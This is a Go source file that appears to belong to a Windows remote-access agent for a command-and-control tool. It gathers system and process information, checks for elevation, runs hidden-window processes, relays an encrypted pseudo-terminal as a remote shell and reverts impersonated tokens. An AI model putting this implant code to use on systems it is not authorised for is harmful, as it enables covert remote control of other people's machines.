262 lines
5.4 KiB
Go
Executable File
262 lines
5.4 KiB
Go
Executable File
//go:build windows
|
|
// +build windows
|
|
|
|
package functions
|
|
|
|
import (
|
|
"crypto/cipher"
|
|
"fmt"
|
|
"gopher/utils"
|
|
"io"
|
|
"os"
|
|
"os/exec"
|
|
"os/user"
|
|
"path/filepath"
|
|
"strconv"
|
|
"strings"
|
|
"syscall"
|
|
"unsafe"
|
|
|
|
"github.com/gabemarshall/pty"
|
|
"golang.org/x/sys/windows"
|
|
)
|
|
|
|
type OSVersionInfoEx struct {
|
|
dwOSVersionInfoSize uint32
|
|
dwMajorVersion uint32
|
|
dwMinorVersion uint32
|
|
dwBuildNumber uint32
|
|
dwPlatformId uint32
|
|
szCSDVersion [128]uint16
|
|
wServicePackMajor uint16
|
|
wServicePackMinor uint16
|
|
wSuiteMask uint16
|
|
wProductType byte
|
|
wReserved byte
|
|
}
|
|
|
|
func GetCP() (uint32, uint32) {
|
|
modkernel := syscall.NewLazyDLL("kernel32.dll")
|
|
acp, _, _ := modkernel.NewProc("GetACP").Call()
|
|
oemcp, _, _ := modkernel.NewProc("GetOEMCP").Call()
|
|
|
|
return uint32(acp), uint32(oemcp)
|
|
}
|
|
|
|
func GetOsVersion() (string, error) {
|
|
modntdll := syscall.NewLazyDLL("ntdll.dll")
|
|
procRtlGetVersion := modntdll.NewProc("RtlGetVersion")
|
|
|
|
var info OSVersionInfoEx
|
|
info.dwOSVersionInfoSize = uint32(unsafe.Sizeof(info))
|
|
|
|
ret, _, _ := procRtlGetVersion.Call(uintptr(unsafe.Pointer(&info)))
|
|
if ret != 0 {
|
|
return "", fmt.Errorf("RtlGetVersion call failed")
|
|
}
|
|
|
|
version := fmt.Sprintf("Windows %d.%d build %d", info.dwMajorVersion, info.dwMinorVersion, info.dwBuildNumber)
|
|
return version, nil
|
|
}
|
|
|
|
func IsElevated() bool {
|
|
token := windows.GetCurrentProcessToken()
|
|
return token.IsElevated()
|
|
}
|
|
|
|
func NormalizePath(relPath string) (string, error) {
|
|
if strings.HasPrefix(relPath, "~") {
|
|
usr, err := user.Current()
|
|
if err != nil {
|
|
return "", err
|
|
}
|
|
relPath = filepath.Join(usr.HomeDir, relPath[1:])
|
|
}
|
|
|
|
path, err := filepath.Abs(relPath)
|
|
if err != nil {
|
|
return "", err
|
|
}
|
|
|
|
path = filepath.Clean(path)
|
|
return path, nil
|
|
}
|
|
|
|
func buildFileInfo(info os.FileInfo, displayName string) utils.FileInfo {
|
|
return utils.FileInfo{
|
|
Mode: "",
|
|
Nlink: 0,
|
|
User: "",
|
|
Group: "",
|
|
Size: info.Size(),
|
|
Date: info.ModTime().Format("02/01/2006 15:04"),
|
|
Filename: displayName,
|
|
IsDir: info.IsDir(),
|
|
}
|
|
}
|
|
|
|
func GetListing(path string) ([]utils.FileInfo, error) {
|
|
var Files []utils.FileInfo
|
|
|
|
pathInfo, err := os.Stat(path)
|
|
if err != nil {
|
|
return Files, err
|
|
}
|
|
|
|
if !pathInfo.IsDir() {
|
|
return []utils.FileInfo{buildFileInfo(pathInfo, filepath.Base(path))}, nil
|
|
}
|
|
|
|
entries, err := os.ReadDir(path)
|
|
if err != nil {
|
|
return Files, err
|
|
}
|
|
|
|
for _, entry := range entries {
|
|
info, err := entry.Info()
|
|
if err != nil {
|
|
return Files, err
|
|
}
|
|
|
|
Files = append(Files, buildFileInfo(info, entry.Name()))
|
|
}
|
|
return Files, nil
|
|
}
|
|
|
|
/// Process
|
|
|
|
func getSessionID(pid uint32) (int, error) {
|
|
var sessionID uint32
|
|
err := windows.ProcessIdToSessionId(pid, &sessionID)
|
|
if err != nil {
|
|
return -1, err
|
|
}
|
|
return int(sessionID), nil
|
|
}
|
|
|
|
func getProcessContext(pid uint32) (string, error) {
|
|
handle, err := syscall.OpenProcess(syscall.PROCESS_QUERY_INFORMATION, false, pid)
|
|
if err != nil {
|
|
return "", err
|
|
}
|
|
defer syscall.CloseHandle(handle)
|
|
|
|
var token syscall.Token
|
|
if err = syscall.OpenProcessToken(handle, syscall.TOKEN_QUERY, &token); err != nil {
|
|
return "", err
|
|
}
|
|
defer token.Close()
|
|
|
|
var tokenUser *syscall.Tokenuser
|
|
n := uint32(50)
|
|
for {
|
|
b := make([]byte, n)
|
|
e := syscall.GetTokenInformation(token, syscall.TokenUser, &b[0], uint32(len(b)), &n)
|
|
if e == nil {
|
|
tokenUser = (*syscall.Tokenuser)(unsafe.Pointer(&b[0]))
|
|
break
|
|
}
|
|
if e != syscall.ERROR_INSUFFICIENT_BUFFER {
|
|
return "", e
|
|
}
|
|
if n <= uint32(len(b)) {
|
|
return "", e
|
|
}
|
|
}
|
|
|
|
owner, domain, _, err := tokenUser.User.Sid.LookupAccount("")
|
|
return fmt.Sprintf("%s\\%s", domain, owner), nil
|
|
}
|
|
|
|
func GetProcesses() ([]utils.PsInfo, error) {
|
|
var Processes []utils.PsInfo
|
|
|
|
handle, err := syscall.CreateToolhelp32Snapshot(syscall.TH32CS_SNAPPROCESS, 0)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
defer syscall.CloseHandle(handle)
|
|
|
|
var entry syscall.ProcessEntry32
|
|
entry.Size = uint32(unsafe.Sizeof(entry))
|
|
if err = syscall.Process32First(handle, &entry); err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
for {
|
|
end := 0
|
|
for {
|
|
if entry.ExeFile[end] == 0 {
|
|
break
|
|
}
|
|
end++
|
|
}
|
|
|
|
context, _ := getProcessContext(entry.ProcessID)
|
|
|
|
tty := ""
|
|
sessId, err := getSessionID(entry.ProcessID)
|
|
if err == nil {
|
|
tty = strconv.Itoa(int(sessId))
|
|
}
|
|
|
|
psInfo := utils.PsInfo{
|
|
Pid: int(entry.ProcessID),
|
|
Ppid: int(entry.ParentProcessID),
|
|
Context: context,
|
|
Tty: tty,
|
|
Process: syscall.UTF16ToString(entry.ExeFile[:end]),
|
|
}
|
|
Processes = append(Processes, psInfo)
|
|
|
|
err = syscall.Process32Next(handle, &entry)
|
|
if err != nil {
|
|
break
|
|
}
|
|
}
|
|
|
|
return Processes, nil
|
|
}
|
|
|
|
func ProcessSettings(cmd *exec.Cmd) {
|
|
cmd.SysProcAttr = &syscall.SysProcAttr{
|
|
HideWindow: true,
|
|
}
|
|
}
|
|
|
|
func IsProcessRunning(cmd *exec.Cmd) bool {
|
|
if cmd.Process == nil {
|
|
return false
|
|
}
|
|
if cmd.ProcessState != nil && cmd.ProcessState.Exited() {
|
|
return false
|
|
}
|
|
return true
|
|
}
|
|
|
|
func StartPtyCommand(process *exec.Cmd, columns uint16, rows uint16) (any, error) {
|
|
windowSize := pty.Winsize{Rows: rows, Cols: columns}
|
|
return pty.StartWithSize(process, &windowSize)
|
|
}
|
|
|
|
func StopPty(Pipe any) error {
|
|
src := Pipe.(pty.Pty)
|
|
return src.Close()
|
|
}
|
|
|
|
func RelayConnToPty(to any, from *cipher.StreamReader) {
|
|
pipe := to.(pty.Pty)
|
|
io.Copy(pipe, from)
|
|
}
|
|
|
|
func RelayPtyToConn(to *cipher.StreamWriter, from any) {
|
|
pipe := from.(pty.Pty)
|
|
io.Copy(to, pipe)
|
|
}
|
|
|
|
func Rev2Self() {
|
|
advapi32 := syscall.NewLazyDLL("advapi32.dll")
|
|
revertToSelf := advapi32.NewProc("RevertToSelf")
|
|
revertToSelf.Call()
|
|
}
|